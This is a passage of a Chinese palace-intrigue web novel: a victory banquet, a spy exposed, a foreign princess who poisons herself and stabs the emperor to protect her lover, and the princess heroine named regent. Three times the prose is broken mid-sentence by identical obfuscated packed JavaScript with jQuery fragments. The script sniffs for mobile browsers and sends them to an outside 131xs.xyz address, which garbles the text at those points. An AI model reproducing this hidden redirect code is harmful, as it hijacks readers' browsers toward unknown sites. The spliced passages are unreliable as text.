冯重明闻言圣心大悦,接到战报后一连说了三次好字。次日,宋罂便带着一众门生上奏恳求冯重明开办宴会庆祝前线胜利,以告天下叛军败局已定,以扬大梁国威之不可侵犯。冯妙瑜一个人坐在屏风后面,透过紫檀木屏风的间隙,金碧辉煌的两仪殿内文武官员紫红两色的衣衫交织,人人脸上都洋溢着比夏天的太阳还要灿烂的笑容,不过是数十场战役中取胜一场而已,大家却高兴的好像叛军已经被尽数溃败了一样。 冯妙瑜心里微微一沉,甚至有些恍惚,一时间不知自己身在何处。 早朝结束后朝臣们纷纷告退了,冯重明在紫宸殿里和宋罂说话,冯妙瑜不想进去,只好站在外面等宋罂大人出来。站在紫宸殿外面的倒不止她一人,卫尉寺寺卿杨大人也在不远处站着,他看见冯妙瑜,轻轻哼了一声,皮笑肉不笑地问了安。 朝中有不少看她横着竖着都不顺眼的老古董,这位杨大人就是其中之一。 冯妙瑜也假惺惺笑着跟他打了个招呼。 两人等了许久,紫宸殿的门终于打开,刘公公笑眯眯地出来了。 “哎呀,公主您怎么在这里站着,外头冷,您怎么不进去?” 冯妙瑜摇摇头,低声道:“宋大人可还在里面?我还是等宋大人出来后再进去的好。” 刘公公很快看了杨大人一眼,心里大概有数了,他叹了口气。 “公主,大人。恕奴才多嘴说一句,您二位这是何必呢?”刘公公手指指了指紫宸殿,“这会皇上已经和宋大人商议着定下了五日后要在兴庆宫设宴庆祝,皇上正在兴头上,您二位何必在这时候进去给他老人家泼冷水。” “眼下根本就不是办宴席庆祝的时候,”冯妙瑜咬了咬唇说,“我们是打赢了一次,可这重要吗?他们已经打赢了十几次上百次!叛军很快就会卷土重来,有这庆祝的功夫……” “公主,”刘公公打断冯妙瑜的话,“皇上高兴。还有比这个更加重要的事情吗?您说的事情都可以缓一缓,等到庆功宴后再说嘛。叛军还在百里之外,不过是五天的功夫,难道他们就能打进城里了——不可能的。盛京城固若金汤,这百年来从来没有破过。” 杨大人在一旁轻轻咳嗽一声,他瞥了眼冯妙瑜,“刘公公,这京中的守备军器,是早一日准备,早一日……” “杨大人,我再说一遍——皇上乐意,皇上高兴。天底下没有比这个个更要紧的事了。” 刘公公脸色沉下来。 “这些天皇上心情一直都不好,我们这御前当差的个个都提着脑袋,生怕一个不小心惹怒了皇上,脑袋搬家。这皇上难得高兴高兴,您是聪明人,何必为了这点小事去触怒皇上?当然,您要是执意要进去触霉头,我也不敢说什么。只是到时候惹得皇上龙颜大怒,您可别怪我没有把丑话放在前头。” 杨大人自然明白刘公公的话的份量。论对冯重明的了解,天底下没有几个人能比得上一天十二个时辰跟在他身后的刘公公。眼下进去和冯重明谈这些,只怕真的有可能会掉脑袋。虽然不甘心,他还是对刘公公点了点头。 “时候也不早了,您二位要是没有什么事,奴才叫人送二位回去。”刘公公说。 纵使相看两厌,再不乐意,可是从紫宸殿出宫的路只有一条。 “微臣今日不过是说了微臣该说的话,可没有为公主出头的意思。公主可不要误会了。”杨大人哼哼,意思是你可千万别自作多情。 “本宫也只是做了该做的事情而已。素来听闻杨大人刚直不阿,”冯妙瑜笑笑,故作惊讶状,“本宫倒一点也没想到杨大人会想到什么出头不出头上去。无端揣测他人,本宫一直以为那是坊间闲汉才会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15132996|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做的事情呢。” “你……”杨大人又从鼻子里出了口气,嘴角抽了抽,勉强勾了个笑脸,“微臣只是随口这么提醒一句而已。公主您没有误会就好。” “哦?那这么说本宫还得感谢杨大人了?”冯妙瑜笑的真情实意。固然恶趣味,亦非君子所为,但瞅着素日看不惯自己的人吃瘪难免会让人有点小小的高兴。 也许不止是一点点的高兴。 冯妙瑜连脚底下步子都轻快了不少。 这种事情,她终究也是个吃五谷杂粮长大的俗人,冯妙瑜在心里摇头晃脑地想。 —— 五日的时间说短不短,说长倒也不长。不过眨眼间就到了庆功宴那日。 庆功宴设在兴庆宫西的花萼楼上,楼中处处张灯结彩,一片喜气自不必说,兴庆宫又挨着东市,热闹的人声车马声远远飘来。 暮色四合,冯妙瑜挽着谢随跟着穿红衣的宫人上了楼,宴席还没开始,两人说笑着,正欲走到边上凭栏远眺,谢随眼角余光忽然瞥见一道有些眼熟的身影。 一身榴衣灿胜夕霞。 谢随又细细看了一眼,那女子果然是万俟满。谢随就感觉自己右边的眼皮狠狠地跳了两下。而她手边那个穿深苔绿交领袍子,配黑白混色裘衣的男子,都不用想,除了林修远以外又还能有谁。 公孔雀似的,也不知道他打扮的这般花枝招展是打算给谁看。谢随在心里冷哼一声。 “那边好像还空着,我们快点过去吧,再晚点好位置都被人占了。” 谢随微笑着,故意指了与林修远他们相反的一个方向,说着还加快步子,有意无意侧身挡在冯妙瑜身侧,可正在这时,林修远却正好回了下头。 常年习武之人,除了嗓门大声音异常洪亮外,这眼神也格外的好。毕竟是能百步穿杨的大将军。 “公主?”林修远惊喜道,伸长了胳膊冲冯妙瑜挥手,“这可真是巧了,好久不见!你们在找空位吗,我们这里还有空位——” 这人可真没眼力见儿。 谢随扯了扯嘴角。今晚应邀赴宴的少说有数百人,人群密集,他这么大一个人还挡在冯妙瑜身旁,林修远却只叫了冯妙瑜一个人的名字……个中缘由,他实在是不愿意细想。 72. 72 “我一直想向你道声谢,但一直没有找到机会。” “谢我做什么?” 晚风自西徐徐而来,东市中人头攒动,楼高风冷,冯妙瑜两条胳膊交叉着架在栏杆上,偏头间珠花轻跳。 “还记我临时行前你差人送给我一把乌号弓吗?这次多亏了它,我才能一箭射死敌军的首领。” 林修远摸了摸后脑勺,笑起来露出一排整整齐齐的大白牙。 “总要回礼的,我在西境的时候得了几匹上好的狼皮,这玩意儿在盛京不多见,就是我不清楚你喜欢不喜欢那个……” “你太客气了。”冯妙瑜摇摇头,阿蛮正在不远处和谢随说着话,冯妙瑜挑挑眉,拿胳膊肘轻轻捣了下林修远,“多久以前的事情了,先不说这个。我可听说你最近好事将近——你们成亲的日子可定下了?提前说好,到时候我可是要去蹭你们的喜酒喝的。” 林修远很快往阿蛮处望了一眼,拿脚踢着空气,苦恼道:“衣裳什么的都备好了。只是还没有定下日子。我父亲虽然松了口,但却只同意让她做我的侧室。” “阿蛮……她当然没说什么,”林修远顿了顿,压低声音,以免被不远处的阿蛮听到了,“但是我知道她心里并不痛快。她无亲无故,没名没分地跟着我从西境到盛京,我却连个正室的位子都不能给她……我母亲倒是站在我这边的,但是我的婚事不是她一人说了算的。我就想再拖一拖,时间一长,也许我父亲就会松口了。” “也许吧。” 冯妙瑜当下只是点了点头,模棱两可应了句。 这种事情谁能说得准呢。 也许南安侯怜爱孙辈爱屋及乌对她的生母多几分好脸,也许恶其余胥母子俩一起厌恶,甚至可能在那之前林修远便厌恶了阿蛮……听说近来上门向林修远说亲的媒人不少,个个都是才貌双全的世家贵女。家世,才学,容貌样样无可指摘。无论娶哪一位,他日后能得到的助力都比阿蛮多得多。这世道,人都是很现实的。 冯妙瑜忽然扭头瞥了眼谢随。没想到谢随正好也望着她,目光相撞,冯妙瑜愣了愣,回过神,勾唇冲他轻轻笑了一笑。 “别看了,就算你少看一眼,你的妙瑜也不可能突然长了翅膀从这里飞走。”阿蛮凉凉地说,捞了一把炒瓜子靠在栏杆上嗑,顺便往谢随身上泼泼冷水。 有冯重曜的人暗中相护,如今兄长万俟闻已经安全回到西境图谋复国大计,心头的大石头落了地,她自然少了许多顾忌负担,整个人从头到脚轻松了不少。 “还不是因为某些不知捡点的人。”谢随说,视线仍不住的往冯妙瑜那边扫。 “你在害怕什么?”阿蛮上下打量着谢随,突然问道。 “你这话说的可真奇怪,我有什么好害怕的?”谢随被她问的一愣,嘴上很快反问道,可心里却是一抽,像是被人戳中了伤口。他忽然烦躁起来,“该害怕的人是你吧……” 话音未落,远处有人尖声唱道:“皇上驾到!” “死鸭子嘴硬。”阿蛮低声笑他。 隔着人群,远远只能瞥帝王威严无比的仪仗,绛麾在风里卷着边,正在聊天吹风的大臣女眷们纷纷放下手里的东西跪地迎接。 “都起来吧。” 冯重明心情好极了,大手一挥让众人起身落座,舞姬乐师从两侧悄无声息地翩然登台,宫人们端着托盘来回穿梭,佳肴美酒源源不断送到桌上。宫里的吃食本就精致,今晚拔得头筹的是一道炙羔羊,刚刚烤好的小羔羊由三四个宫人合力呈上来,现场切好一碟碟分下去,肉汁四溢,滋味鲜美无比。好吃是好吃,不过冯妙瑜只尝了一口便放下银箸。她最近总是没什么胃口,大概是太过忙碌的缘故吧。 场中舞姬们谢幕下去了,换了两个绳妓上来表演走索,人在细细一截绳子上翻腾,倒立,看的人提心吊胆。底下给冯重明敬酒的官员几乎没断过,好不容易得了喘口气功夫,冯重明也倦了,打发刘公公先去准备摆驾回宫的事宜,又歪着身子向冯妙瑜交代招待宴席的事情,正说着话,刘公公猫着腰匆匆钻进过来了。 “皇上,泄露消息的人找到了。”刘公公对着冯重明耳语道:“是南安侯。” “你的消息可靠?南安侯和安王素来没什么交情,怎么会为安王做事?” “绝对可靠。奴才按照公主交代的,以宫里的名义给当日在场的几位大人送去了假消息,只有送去南安侯府的那份又被透露给叛军了。消息是奴才亲手交给南安侯的,奴才还特地叮嘱了是机要消息,决不能外传。” “好嘛,叛军的眼线都安插到朕眼皮子底下了,”冯重明脸色铁青,有不少人注意到情况不对,一道道探究疑惑的目光投过来,冯重明强压着怒意,“即刻带人去南安侯府搜查。至于南安侯府的人,先扣下,等找到了证据再说。” 刘公公躬身,“回皇上,搜查由宋大人带头,眼下已经在路上了。” —— 乐师绳妓早已经下去了,方才还热热闹闹的宴会,如今却安静的一根针掉在地上都能听得见。众人知道出事了,却不清楚到底出了什么事,连大气都不敢喘一下,冯重明双手交叠懒洋洋斜靠在椅背上,手指有一下没一下在桌面上敲,时间一分一秒过去,气氛愈发的紧绷了。除冯重明外每个人都低着头,好像刽子手的大刀正架在脖子后面。 林修远凑过来在桌子底下偷偷捏了捏阿蛮的手。 “别怕,有我在呢。”他笑笑,手是冰凉的,语气却很轻快。 “嗯。我知道。”阿蛮应道,声音细细的,被风吹得微微颤抖。 心脏在胸腔里狂跳,阿蛮深吸了一口气。怕什么呢,人是冯重曜的人,往来信件早就烧毁了。没事的,没事的。她在心里安慰着自己,人死帐烂,难道还能把已经烧成灰烬的信再拼凑起来不成? 楼下隐隐约约传来嘈杂的人声,大概是前去搜查的人前来复命了。为首的是个穿绛红便服的中年男子,嘴角的笑纹很深,不笑时看起来也像是在微笑,大家都抬头望着那人,阿蛮却直勾勾盯着那人手里的信。 已经烧成灰烬的东西,这怎么可能! 宋罂似乎察觉到阿蛮的视线,他此前从未见过她,但一个异族女子的面容何等显眼……他向她轻轻偏了下头,笑容一闪而过。 阿蛮整个人僵在原地,寒意从地板上升起浸透了她。杯盏碎裂的声音,冯重明的怒声,还有南安侯慌乱不堪的辩解声,她听见林修远喃喃着说怎么可能。 她要害死他了。阿蛮突然想。 “我……我要去帮父亲。” 紧握着的手抽离了,林修远跳起身,走到南安侯身边撩袍跪下了。 她就要害死他了。不行……快想,阿蛮捏着酒杯,脑海里却一片空白,快想啊,到底怎么做才能不牵连到他? “要添杯酒吗?”有人在她身后轻柔地问。 “滚开。”眼下她哪里有喝酒的心情。 “正宗的庵摩勒酒,十五年陈酿,这样的好酒,就算是在蛮族王宫中也不多见,更别说作为壮行酒了。我说的可对,万俟满殿下。”那人轻笑。 一杯酒,然后被放上桌案的是一柄匕首。和方才宫人们拿来切羊肉的匕首是同一种款式,只不过这柄被人打磨得更加锋利,刀刃闪着寒光。 “你是什么人?”万俟满缓缓开口。 “自然是来帮殿下的人。” 万俟满伸手轻触那把匕首,突然笑了。 “你们从一开始就计划好的,对吗?今晚死在这里的如果是巫阳的万俟满,那么林家,还有巫阳的残部都会被我牵连。可如果死的是一个青跶部的公主……” 那这个女子有足够的理由蛰伏在林修远身边,利用林修远接近,刺杀大梁皇帝,林家只是遭人利用,罪不至死。甚至,日后大梁和青跶部之间的战争还能为兄长万俟闻复国扫清障碍。 “殿下是聪明人。”那人说。 “可我不相信你们。”万俟满说,“等我死了,谁知道你们会帮助我兄长,还是会和青跶部的人一起对付他呢。” “主上很讨厌青跶部,这么说好像也没多少说服力……您没有别的选择。相信我们,您至少能保住南安侯府上下。何况您为主上杀死了皇帝,主上赏罚分明,他不会忘记您的功劳的。” “一枚死棋而已。什么功劳不功劳的。”万俟满冷笑。 —— 南安侯捏着信的手都在颤抖, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15146371|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他回头看了一眼林修远,做出了抉择。 “陛下请看这信上的字迹,字体娟秀小巧,像是女子所写。内人早年右手受伤不能正常写字,卑职府中下人连字都不认识更不可能写信。想来卑职府中能做出这事的只有一人……” “爹!”林修远总算反应过来,一把拽住南安侯胳膊,语无伦次,“不是她!一定不是她!她勾结叛军做什么?何况她连雅言说都说不好,又怎么可能写信向叛军传递消息!” “你给我闭嘴!”南安侯气急攻心,一时也顾不上这是在御前了,指着林修远的鼻子怒骂道:“你才认识她几天?不过是男女那挡子事,她在床笫间对你说了几句软话,你就被迷的连自己的老子亲娘都不认了?” —— “父子反目?可真是热闹。”那人看的津津有味,他把酒杯往万俟满手边推了推,“时间差不多了,殿下也该做出选择了。” “他对你那样好,你是要送他和你一起死,还是要他好好活下去?他是生是死可全在殿下一念之间。” 万俟满抄起酒杯,仰头,一饮而尽。 “是好酒吧?说实话,主上为了弄到这酒可是费了不少功夫……” “酒是好酒,可惜送酒的人是个贱人。” 万俟满用袖子抹了抹嘴角。 “哎呀,我以为你会说两句比这个更有意义的遗言……” 没等那人话音落下,万俟满猛然转身,一手紧扣那人脖子,一刀,干脆利索,笔直没入心脏。 那人的眼睛瞪的老大。 “你坏了这酒的味道。你既然知道我是谁,你怎么敢这么和我说话?真以为背后有个胆小鬼撑腰,我就不敢宰了你了?” —— 场中的争吵愈发激烈了。 林修远还在脸红脖子粗的和南安侯争辩:“……她就要做世子妃了,有什么理由投靠叛军,她是爱着儿子的……” 万俟满笑了两声,慢慢起身,她能感觉到众人的视线渐渐集中到自己身上。 “蠢货啊。” 她望着林修远,笑笑,也不知道是在骂谁。抬步向前,终于可以脱去伪装,一口标准的雅言,万俟满特意说的很慢,很大声,好让在场的每一个人都能听得清清楚楚。 “林修远。你不会真的以为我爱你吧。” 万俟满扬着头,不忍去看林修远的眼睛。 “世子妃?区区一个妃,我是青跶王的女儿,要嫁要娶也是青跶的妻子。你杀死我的父母兄妹,害得我的族人流离失所,你凭什么觉得我会爱你?就凭一张脸?把那玩意拿出来撒泡尿自己照照吧。你以为你算什么东西。知道你每次对我动手动脚我有多恶心……” 原来只是说几句话也能让人这般痛苦。 心脏像是被人用力捏着,来回碾压捣捶,痛苦到麻木,他一定也不好受吧。她已经快走到林修远身边,好想伸手摸一摸他的脸……不可以。要忍住。她甚至不敢多看他一眼。这时候她表现的越绝情,越狠心,话说的越狠,和林修远撇得越干净,林修远能好好活下去的可能就越大。 这不是她本意。 人有时候不得不说出违心的话语。 她希望林修远能明白她话语背后真正的意思,但又希望他傻一点,不要明白,最好永远不要明白。 毕竟她就要死了。 恨她,总好过爱她。 毕竟他还有很长很长的日子要走下去。 —— 冯妙瑜愣愣地看着阿蛮。 她是青跶王的女儿?不对,有什么不对劲的地方,是哪里不对劲?冯妙瑜脑子乱成一锅粥,正想着,她忽然对上了阿蛮的眼睛。 阿蛮冲她浅浅一笑,脸色惨白,嘴唇更是发着青紫,有如鬼魅。 可眼下不过是初秋,还有远远没到能把人冻的口唇发绀的时候啊……她忽然记起以前曾听人说起有些死士会在任务前服用一种剧毒毒药,毒性发作时的症状—— 就是面色发白口唇发绀! “护驾!”冯妙瑜瞳孔一缩,立刻高声喝到。 可来得及么。 阿蛮已经走到就在南安侯身前,而南安侯,离冯重明只有不到三步之远。 73. 73 夜深了。 黑云沉沉,兴庆宫内却是灯火通明。皇帝遇刺,左右金吾卫自不必说,就连京兆府都出动了,三步一岗五步一哨,整个兴庆宫里里外外围得铁桶一般。太医院几乎是整个搬了过来。大半夜的,甚至前任太医院院正都被从床上拉起来坐镇,头发斑白的老头子们在里面忙活,资历尚可的在一旁端盆递剪子熬药,剩下那些年轻资历不够的也不能走,就在殿外头跪着,风寒露重,不少人的衣裳却都被冷汗浸透了。 里面那位但凡有个三长两短,少不了要他们跟着下去陪葬。有几人敢说自己不怕不愁? 人与人的悲欢总不相同。有人两股战战,在初秋时节的寒风里提着一颗心,当然也有人欢喜异常。 马车在城西延康坊一间宅院门前停下。 宋罂下了车,很快有小厮提灯迎上来给他披了件外氅,府里新来的幕僚也跟着迎了出来,白尧冲宋罂笑着拱手,深深地作了一揖。 “学生真是佩服死大人您了。这样短的时间,大人竟能把事情安排的这般尽善尽美。”白尧跟在宋罂身后,讨好道:“您这一计,一来除掉了那蛮女,二来又暗算了皇上。那蛮女的刀法极准。我看这次皇上就算不死,也是个废人罢了。反正太子是个不中用的,到时安王殿下的人马一到,里应外合,咱们拿下盛京怕是不费吹灰之力——这可全是大人您的功劳。学生已经命人给安王殿下去了信。” 好话谁不爱听。宋罂脸上的笑纹又深了几寸,他不在意似的拢了拢衣裳,口中淡淡道:“哪里是这一时的功夫,不过是预则立,不预则废罢了。” “大人教导的是。”白尧顿了顿,“只是可惜小印了。谁知道那蛮女竟敢杀了您派去的人。” “一个传话的下人而已。虽然有些可惜,但死了就死了吧。成大事者不拘小节。斗争么,总要有人出点血的,”宋罂打了个哈欠,人上了年纪精力就跟不上,容易困倦,“反正太子是个扶不上墙的烂泥,去了也是浪费时间。明早早朝我就不去了,你让人帮我捎个话过去,就说我染了伤寒。” —— 前来赴宴的大臣及家眷三三两两回去了,热闹荒诞过后只剩杯盏残羹,莫名有种曲终人散的萧瑟味道。冯妙瑜先打发人送了冯敬文回东宫歇息。内忧外患,一旦父皇有个三长两短,作为储君的冯敬文必须立即顶上,好生歇息远比在父皇跟前守着重要。送走冯敬文,冯妙瑜轻轻叹了口气,转身正准备折返回去看看父皇的情况,走到半路,却又突然改变了注意。 “带我去关押阿……”冯妙瑜抿了抿嘴,“那刺客的地方吧。” —— 侍卫在前领路,几人一路走到马房附近。马房旁有间不起眼的屋子,大抵是驯马的仆下用来堆放草料杂物的地方,又小又偏,连窗户都是小小的一扇。外面虽是重兵把守,里面却没个人守着。一个奄奄一息的女子还能逃到哪去?推开门的瞬间,令人作呕的气味叫嚣着扑面而来。 冯妙瑜捂住嘴,抓着门框缓了缓好一会,方才抬步进去。 阿蛮整个人缩在角落里,巴掌大的窗户,连月光都是巴掌大的一块,眼前鬼影重重,虚虚实实,阿蛮眯着眼睛看了许久,才勉强分辨出眼前的人是谁。 “是你啊。”阿蛮说。 “是我。”冯妙瑜顿了顿,一时也不知道该说什么。往常这种时候根本轮不到她进来,早有宫人大刑招待想方设法地撬开阿蛮的嘴了,今日是事出突然,大家都慌了手脚,才让她钻了空子得以见上一面。冯妙瑜轻轻在阿蛮身边蹲下,“你有什么话要我带给林修远吗?他方才一直在外面吵着要过来见你,最后是被他父亲敲晕抬走了。” “是吗。其实我隐隐听见了些。” “就是侍卫肯放他来,我也是不见他的。我对不起他。该说的我都说完了,没什么要带给他的了。”阿蛮说得艰难,血沫子不断往外涌,满口腥甜,“我以为,你会问点别的。比如我是谁,为什么刺杀你父皇之类。” “就算我问这些你也不会回答的,我又何必多此一举。”冯妙瑜轻轻说。 “多谢。” 阿蛮摸索着攀上冯妙瑜的手。冰凉凉,像是一块软冰搭在手背上。冯妙瑜心里微微一颤。她记忆里这个人的手分明温暖而又干燥,带着夏天风特有的燥热味道,脑海中突然闪过数月前眼前这个人伸出手拉她跃上马背的画面,双脚离开地面,热风唰唰啦啦地穿过耳畔指尖……自由的滋味就是世界只剩下天空,自己和风的声音吧。可这里没有风,只有发霉发臭的腌臜气味,阿蛮微弱的声音又将冯妙瑜拉回现实。 “一直很想告诉你,现在总算能说出口了……还好我一直贴身戴着的。”阿蛮的声音越来越小了,她从腕间摸下一物塞到冯妙瑜手心,似乎是个镯子,“也算是物归原主,她那样信任我,真的对不住,我没有保护好她和她的孩子……” 似是回光返照,月光下,阿蛮的眼睛突然又有了几分光彩,她用力抓着那只镯子和底下冯妙瑜的手。一字一顿。 “今晚那个穿红衣的男人不对劲,那信我明明早就烧掉的……妙瑜,你要小心,千万小心他!除了那个男人,你身边人还有一个也是,你要小心,他是——” 声音细细小小,宛如游丝。 “是谁?” 冯妙瑜不由俯身凑近了阿蛮的嘴唇。阿蛮的嘴唇颤抖着,她猛地咳嗽起来,咳出来的血都是冰冰凉凉的。 “阿蛮?” 冯妙瑜捏紧了阿蛮的手。 “我要回家了……我听到他们在叫我了,好多好多人……” 阿蛮望着那一方小窗,脸上轻轻浮了笑意。那只冰凉的手慢慢从冯妙瑜掌心滑落,金钏也随之掉落在地上。 钏是柳叶状,花叶纹间篆刻两只栩栩如生的鸳鸯。 冯妙瑜的目光一凝。 那金钏瞧着眼熟,似是妙瑶出嫁前她送给妙瑶之物。 “原来是这样……” 过了良久,冯妙瑜喃喃自语道。 早在她透过这个女子的身影想起当年孑然一身嫁去蛮地的妙瑶时,阿蛮看着她,是否也想起了妙瑶? “看来交到好朋友了呢。” 冯妙瑜伸手,轻轻阖上了阿蛮的眼睛。 推门而出,外面又起风了。 冯妙瑜伸出手,让凉风丝丝溜溜从指缝间穿过。 “是东风。”她笃定说道。 一旁的侍卫愣了一下,随即笑道:“公主,这都到秋天了,哪里来的东风。” “我说是东风就是东风。”冯妙瑜狠狠瞪他一眼,少有的任性。 掠过大海,自东向西拂过大地的晚风,有点冷,但它会穿过环绕盛京的云州八山,拂过漫漫高原山地城镇,带着一个女孩的魂灵重回故土。 盛京和蛮地离得那样远,山高路长,等阿蛮再次回到熟悉的草原想必已经是春和景明时候了吧。 —— 几位老态龙钟的太医从殿内走出来已是子夜,冯重明的情况不是很好,冯妙瑜不顾谢随劝阻衣不解带的在病榻前守了好几个时辰,冯重明还是没有醒来,谢随又轻手轻脚地进来,冯妙瑜没有休息,他也跟着熬了将近一宿。 “好歹去偏殿里歇一会,”谢随走到冯妙瑜身边温声劝道:“皇上这边由我代你守着,皇上要是醒了我派人叫你。” 冯妙瑜累到不想说话,只摇了两下头。 反正就是去了偏殿也睡不着,还不如在父皇跟前守着。 “去睡会。都困成这样了。我叫人回府拿了铺盖过来在偏殿铺上了,你不用担心会睡不着。”谢随说。 冯妙瑜闻言怔然。 他是怎么知道这个的…… 谢随笑笑,轻轻揉了下冯妙瑜的脑袋。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162610|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你换地方就睡不好,但是换上府里铺盖会好些。我知道的。” “你是什么时候知道这个的?”冯妙瑜奇怪道,她好像从来没有对谢随说起过这些。 “早就知道了。你快去睡会吧。你要再不过去,可是要我抱你过去?”谢随故意道。 冯妙瑜有些认床这事还是在临江小住时才发现的。初到临江时她总是整晚整晚的睡不好觉,直到阿玉换上了从府里带来的铺盖才好些。 这些细枝末节的小事,她虽从未在他面前提起过,他却默默看在眼里,记在了心里。 —— 冯妙瑜这晚睡得并不怎么安稳,心里装着事,何况人累过头反而睡不着,她合衣在床上躺到差不多卯时,冯重明还未醒,却有宫人前来叫她。 “你说太子不愿一个人上早朝,还让我陪他一起?这不胡闹嘛!” 冯妙瑜摊手翻了个大白眼。 她以一个女子之身弄权已经惹得各路朝臣不满,这还是有父皇在上面压着。她要真陪着冯敬文上了早朝,那岂不是坐实牝鸡司晨的名头……还不得叫那些老学究用眼神给戳死了。 “太子不上朝找我有什么用?我又不是他娘!让刘公公叫两个侍卫拖他进去!” 冯妙瑜卷被子翻身欲继续回去睡回笼觉,那宫人却又恳求道:“公主,您还是去东宫一趟吧,今个早朝已经往后推了一个多时辰了,这不能再推了呀。大局为重,刘公公他老人家也是这个意思。” —— 一个时辰后,两仪殿。 就不该一时耳根子软的!冯妙瑜在心里默默地想。 “刘公公,给皇姐添个凳子来,对对对,就放在本宫的旁边。啧,放那么远做什么,近点,再近一点!” 冯敬文开开心心吆喝着,只当冯妙瑜的眼刀子是空气。哪有公主陪着太子上朝的!冯妙瑜努力缩小自己的存在,奈何底下朝臣各异的目光不断地扎在身上,她就是缩着头也没用。冯妙瑜装作很热的样子啪的一声抖开折扇挡着脸……顺便又瞪冯敬文一眼。真恨没带个幂篱出来,失策失策。 刘公公咳嗽两声,恭恭敬敬双手捧敕,众人纷纷跪下接旨。左右大家心里都有数,这圣旨里头还能写什么?无非是帝王抱恙不能亲躬临朝,命太子监国云云。 两句话的事,按制写在圣旨里就变得又臭又长。等刘公公念完诏命太子监国的部分,接下来就该是帝王殷殷嘱咐列位朝臣效仿伊尹、周公等古代贤臣圣臣好生辅佐太子,为国为民了。老生常谈,大家都听的漫不经心。 刘公公却顿了顿,目光扫过众人,深深地吸了口气。 “然朕思及太子年幼,内忧外患,此乃多事之秋,朕恐其一人之力不能支,”刘公公没忍住又吸了口气,才继续念道:“昔有周公摄政,践祚而治,兹特封永乐长公主为太子太师,辅佐太子,共理朝政,永世不渝……”① 圣旨还没有念完,在场所有人全都抬头齐刷刷看向冯妙瑜,殿内一时安静,嗡嗡议论声随即自下四起。 冯妙瑜自己也愣住了。 父皇这道圣旨是什么意思? 太子太师,那可是正儿八经的从一品官衔,虽是个虚衔,但通常只会授予德高望重的老臣以示荣宠,何况还有后面的那句——这道圣旨的意思其实是说冯敬文就是个傀儡,真正掌握监国大权的是她,而且还是永世不渝,没有期限,这就差让她来坐这把龙椅了! “这,这女子怎么能封官衔?还是从一品的太子太师……” “岂不是架空了太子殿下,哪里有这样的先例?就算是太子年幼由尊长亲族摄政,那远远轮不到一个和太子年岁差不多的公主——这成何体统?圣旨怕不是弄错了吧……” 一片杂乱的喧闹中,刘公公扭身看向冯妙瑜,他的表情复杂地看着冯妙瑜,轻轻说:“公主,请接旨吧。”